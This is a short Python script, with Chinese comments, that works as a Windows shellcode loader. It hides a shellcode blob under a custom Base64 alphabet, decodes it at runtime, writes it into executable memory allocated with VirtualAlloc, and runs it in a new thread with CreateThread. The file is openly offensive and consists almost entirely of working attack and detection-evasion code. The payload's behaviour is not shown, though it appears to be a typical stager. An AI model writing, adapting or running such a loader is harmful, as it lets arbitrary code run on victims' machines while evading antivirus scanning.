import ctypes
import base64

# 自定义 Base64 表，必须是 64 个唯一字符
custom_base64_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"

# 构建编码映射和解码映射
standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


# 解码映射：自定义 → 标准
decode_map = str.maketrans(custom_base64_table, standard_table)

def custom_base64_decode(encoded: str) -> bytes:
    """
    使用自定义Base64表对字符串进行解码
    """
    # 替换为标准编码表
    std_encoded = encoded.translate(decode_map)
    # 使用标准 Base64 解码
    decoded_data = base64.b64decode(std_encoded)
    return decoded_data


custom_base64_shellcode="/BfA5MAltZZZZBCONSYPRSWFJaGiPFqPVBfIReeFf1FdPFqvRBdMq0mHQQEGPAEZoAuecZFpFBEYvN1YZxEf7SGYRRfIRfXINguFZaXIdFdZZZYFexY0W0dY0CXIPYeBf0ZdPNEN41WF/8iYfwPFPZETQQEGPAEZoBEYvN1YZxB44EUuQZKJGZeCLaC12CeBf0ZhPNENWhDIABeBf0ZxPNENNVpBfBdY0BCVNSebTSmYTBCWNSmFd+tdNSI/4CeYTSmFfuImS////11FrdBZZZZZZZZZPF2KZNBZZBD6JVqse//Sr/X1liWYrnzSsW3/1RfAuXd8YktHdMsdaNT7OuKvy2lZTRDG2s/SV2CpVv5ibDRZ"

print("[*] 解密 custom_base64_shellcode...")
shellcode = custom_base64_decode(custom_base64_shellcode)


# 执行
print("[*] 执行 shellcode...")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
page = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(page), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(page), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)